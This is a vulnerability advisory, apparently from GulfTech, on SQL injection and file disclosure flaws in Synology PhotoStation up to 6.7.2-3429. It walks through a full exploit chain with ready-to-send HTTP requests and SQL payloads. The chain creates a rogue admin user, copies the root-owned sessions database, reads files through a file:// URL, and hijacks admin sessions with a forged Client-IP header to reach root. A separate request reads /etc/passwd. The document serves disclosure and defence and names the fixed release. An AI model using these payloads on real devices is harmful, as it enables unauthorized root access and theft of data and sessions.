Synology PhotoStation 6.7.2-3429 SQL Injection / File Disclosure

Synology PhotoStation versions 6.7.2-3429 and below suffer from file disclosure and remote SQL injection vulnerabilities.


MD5 | 83195bb339c2ac6977f6130a5414402a

###########################################################################
______ ____________ __
/ ____/_ __/ / __/_ __/__ _____/ /_
/ / __/ / / / / /_ / / / _ \/ ___/ __ \
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/

GulfTech Research and Development

###########################################################################
# Synology PhotoStation <= 6.7.2-3429 Multiple Vulnerabilities #
###########################################################################


Released Date: 2018-01-08
Last Modified: 2017-07-22
Company Info: Synology
Version Info:
Vulnerable
Synology PhotoStation <= 6.7.2-3429


--[ Table of contents

00 - Introduction
00.1 Background

01 - SQL Injection
01.1 - Vulnerable code analysis
01.2 - Remote exploitation

02 - File Disclosure
02.1 - Vulnerable code analysis
02.2 - Remote exploitation

03 - Credit

04 - Proof of concept

05 - Solution

06 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that I have completed
regarding Synology PhotoStation. The issues I have discovered can be used
in conjuction with one another to gain remote preauth root access to the
affected Synology NAS device.

--[ 00.1 - Background

The Synology Diskstation NAS by default installs several DSM applications
unless specified otherwise during setup. One of these default applications
installed is PhotoStation. PhotoStation is a web based photo manager.


--[ 01 - SQL Injection

There are a number of SQL Injection issues within the PhotoStation
application. Since PhotoStation uses a PostgreSQL database exploitation is
trivial since multiple statements can easily be injected.

--[ 01.1 - Vulnerable code analysis

Below is vulnerable code from /photo/include/blog/label.php which takes GPC
data and uses it directly in an SQL query

---------------------------------------------------------------------------

if($_POST['action'] == 'get_all_labels') {
echo SYNOBLOG_LABEL_GetLabelComboData($_POST['id']);
} else if($_POST['action'] == "get_article_label" &&
isset($_POST['article_id'])) {
echo SYNOBLOG_LABEL_GetArticleRawLabel($_POST['article_id']);
} else if($_POST['action'] == "get_invalid_labels") {
echo SYNOBLOG_LABEL_GetInvalidLabels();
}
---------------------------------------------------------------------------

Now let's have a look at any one of these functions.

---------------------------------------------------------------------------

function SYNOBLOG_LABEL_GetArticleRawLabel($article_id)
{
global $blog_str_article_label_none;

$query = "Select label_name from blog_article_label where article_id =
".$article_id." order by label_name;";
$db_result = PHOTO_DB_Query($query);

while(($row = PHOTO_DB_FetchRow($db_result))) {
if($row[0] == "no_label") {
continue;
}
$result[] = $row[0];
}

return json_encode($result);
}

---------------------------------------------------------------------------

As you can see from the above code the SQL injection is fairly straight
forward as $article_id comes directly from the $_POST['article_id']
variable. In addition to this SQL Injection is also an SQL Injection within
the /photo/include/synotheme.php file within the SYNOTHEME_GET_BKG_PIC()
function due to the "type" parameter never being sanitized.

---------------------------------------------------------------------------

function SYNOTHEME_GET_BKG_PIC($mode, $type)
{
$show_bkg_img_key = 'photo' === $type ? 'v6_show_bkg_img' :
'show_bkg_img';
if (null == $show_bkg_img = csSYNOPhotoMisc::GetConfigDB($mode,
$show_bkg_img_key, $type . '_config')) {
csSYNOPhotoMisc::UpdateConfigDB('theme', $show_bkg_img_key, '3',
$type . '_config');
$show_bkg_img = '3';
}

---------------------------------------------------------------------------

In the above code the "type" variable is used to specify the table name
within an SQL query. Unfortunately this "type" parameter is taken directly
from GPC data and never sanitized. No authentication is needed to exploit
either of the previously mentioned SQL Injection vulnerabilities.

--[ 01.2 - Remote exploitation

Exploiting this issue is trivial, and can be achieved by simply sending a
post request containing a SQL Injection string within the "article_id"
parameter.

---------------------------------------------------------------------------

POST /photo/include/blog/label.php HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://diskstation/blog/
Content-Length: 60
Connection: close

action=get_article_label&article_id=1; SELECT version(); --

---------------------------------------------------------------------------

The above request would successfully return the version of the PostgreSQL
database to the attacker. However, it is also possible to gain a remote
root shell with a decent bit of work by using the following steps.

##[ STEP 00:
First we have to leverage the SQL Injection to enable the PhotoStation
authentication system. By default the PhotoStation application uses DSM to
authenticate. We need to change this so that it uses PhotoStation to
authenticate. This can be accomplished with the following query.

---------------------------------------------------------------------------

UPDATE photo_config SET config_value=0 WHERE config_key='account_system';

---------------------------------------------------------------------------

Now the PhotoStation authentication system should be successfully enabled
and ready for use.

##[ STEP 01:

Once the PhotoStation authentication system is successfully enabled we can
create an admin user and authenticate as this user to escalate our current
privileges from PhotoStation admin to root.

---------------------------------------------------------------------------

INSERT INTO photo_user (userid, username, password, admin) VALUES (42,
'test', '098f6bcd4621d373cade4e832627b4f6', TRUE);

---------------------------------------------------------------------------

We now can login as the admin user "test" with the password "test".

##[ STEP 02:

The next step is to create a "video" record with a malicious "path" value
via SQL Injection. This "path" value holds the location of the file we want
to disclose as the root user. The PhotoStation admin panel is fairly secure
and does not give us many options for exploiting file handling issues.
However, the PhotoStation application trusts the "path" data taken
from the database when copying files, and does not validate it. We can
leverage this lack of sanity checks to copy any files we want as root to
the default photo directory.

---------------------------------------------------------------------------

INSERT INTO video (id, path, title, container_type) VALUES (42,
'/usr/syno/etc/private/session/current.users', 'test', 'test');

---------------------------------------------------------------------------

The above record inserted would allow an attacker to copy the sessions db
to the default photo directory once a file copy operation is triggered by
the album_util.php script. This is because the copy and move operations use
the "path" data taken from the database as the source argument. This file
will be copied with root permissions by the "synphotoio" binary.

##[ STEP 03:

The next step for us is to trigger a file copy operation via album_util.php
where our malicious "path" value will be used by the "synphotoio" binary to
make a copy of the file as root in the default photo directory.

---------------------------------------------------------------------------

POST /photo/include/photo/album_util.php HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-SYNO-TOKEN: ambru48o5nm3kpcla82j1b98s4
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://diskstation/photo/
Content-Length: 45
Cookie: stay_login=1; PHPSESSID=c4kclpg4j3bndcpuq4pvs9of10;
Connection: close

action=copy_items&video_list=42&destination=2f

---------------------------------------------------------------------------

The above request will successfully copy the user sessions database to the
default photo directory. We just have to make sure the "video_list" ID
corresponds to the ID that we previously inserted into the database so that
the "path" data we specified will be used in the file copy operation.

##[ STEP 04:

For the next step we have to be slick and use a file handling bug in the
file_upload.php script to copy the file disclosed by root to the web
directory for viewing. The only reason we are able to accomplish this is
because we're allowed to specify the full URL sent to a file_get_contents()
call. We could also use this bug to read any file that the web server has
access to. But, for now we will just copy the file we recently disclosed as
root since these particular file handling operations take place as an
unprivileged user and would limit the attacker impact greatly.

---------------------------------------------------------------------------

POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

action=aviary_add&url=file:///volume1/photo/current.users

---------------------------------------------------------------------------

As you can see from the above request we are allow to specify a file:// URL
and as a result copy the disclosed sessions db to the web directory as a
file named pwn.jpg and view all admin sessions. If it was not for this file
handling bug in file_upload.php an attacker would have to access the file
via SMB or some other method thus making the attack much more complicated.

##[ STEP 05:

Once we have the sessions database we now have the session ID and IP
addresses of administrators. We can use this information to now login to
the DSM as an admin. It is possible to use headers such as "Client-IP" to
successfully forge the IP address of the stolen session data. So, the fact
that sessions are restricted by IP address does not really matter at all in
this particular case.

At this point it is game over as DSM admin users are able to run commands
as root and have complete and total access to the entire system.


--[ 02 - File Disclosure

PhotoStation is vulnerable to a file disclosure issue. This issue is due to
an unsafe file_get_contents() call within the SYNOPHOTO_AVIARY_Add()
function that allows an attacker to specify the full URL used.

--[ 01.1 - Vulnerable code analysis

Below is vulnerable code from /photo/include/file_upload.php which makes
use of a user supplied URL to populate the contents of $image_data.

---------------------------------------------------------------------------

$image_data = file_get_contents($_REQUEST['url']);

---------------------------------------------------------------------------

The above code allows authenticated users to easily disclose file contents
with the privilege of the web server, or to possibly conduct SSRF attacks
against the internal network.

--[ 01.2 - Remote exploitation

Exploiting the issue requires user authentication, but other than that it
is fairly trivial to take advantage of. Also, it should be noted that the
required authentication can be acquired by using the previously mentioned
SQL Injection issues in order to create arbitrary user accounts.

---------------------------------------------------------------------------

POST /photo/include/file_upload.php?dir=2f2e2e2f4061707073746f72652f50686f7
46f53746174696f6e2f70686f746f2f&name=1/&fname=pwn&sid=ambru48o5nm3 HTTP/1.1
Host: diskstation
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: PHPSESSID=ambru48o5nm3; photo_remember_me=1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

action=aviary_add&url=file:///etc/passwd

---------------------------------------------------------------------------

The above request would successfully copy the contents of the passwd file
to http://diskstation/photo/pwn.jpg where it's contents could be viewed by
the attacker.


--[ 03 - Credit

James Bercegay
GulfTech Research and Development


--[ 04 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 05 - Solution

These issues were addressed in update 6.7.3-3432

--[ 06 - Contact information

Web
https://gulftech.org/

Mail
[email protected]


Copyright 2018 GulfTech Research and Development. All rights reserved.

Related Posts